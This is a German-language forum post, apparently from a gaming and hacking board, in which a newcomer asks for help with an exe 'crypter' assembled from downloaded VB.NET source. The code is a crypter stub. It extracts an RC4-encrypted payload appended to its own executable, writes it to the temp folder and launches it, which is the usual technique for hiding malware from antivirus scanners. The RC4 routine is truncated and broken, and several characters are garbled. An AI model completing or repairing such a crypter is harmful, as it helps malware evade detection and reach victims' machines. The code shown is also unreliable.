Crypter mit vb.net

Hallo EPVP !

Ich bin relativ neu in epvp und hoffe ich versto�e nicht gegen die regeln, aber ich habe eine frage... undzwar hab ich mir einen exe crypter source runtergeladen und wollte damit einen crypter zusammenstellen, klappt eigenlich schon ganz gut...

ich kann die datei �ffnen und es wird eine neue erstellt, die ungef�hr gleich gro� wie die gecryptete ist nur das problem ist, dass ich die neue exe nicht ausf�hren kann, bzw. wenn ich sie doppelklicke wird sie dann zwar in meinen taskmanager angezeigt, aber mehr auch ned...

hoffe einer kann mir helfen.

hier der source:

Code:

Imports System.Text



Public Class Form1


    Const filesplit = "noffel"


    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

        Dim TPath As String = System.IO.Path.GetTempPath
        Dim file1, files(), filesafter As String
        FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
        file1 = Space(LOF(1))
        FileGet(1, file1)
        FileClose(1)

        files = Split(file1, filesplit)
        filesafter = rc4(files(1), "grofl")
        FileOpen(5, TPath & "\Crypted.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
        FilePut(5, filesafter)
        FileClose(5)


        System.Diagnostics.Process.Start(TPath & "\Crypted.exe")
        Me.Close()

    End Sub

        Dim returnCipher As String = String.Empty
        Dim sbox As Integer() = New Integer(256) {}
        Dim key As Integer() = New Integer(256) {}
        Dim intLength As Integer = password.Length
        Dim a As Integer = 0
        While a <= 255
            Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))
        End While


        Return returnCipher
